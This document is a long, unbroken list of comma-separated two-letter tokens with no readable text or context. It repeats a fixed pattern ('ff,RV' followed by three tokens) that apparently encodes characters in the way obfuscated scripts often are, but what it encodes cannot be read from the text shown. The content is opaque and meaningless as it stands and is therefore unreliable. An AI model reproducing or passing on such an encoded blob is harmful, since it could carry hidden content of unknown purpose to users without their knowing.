,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,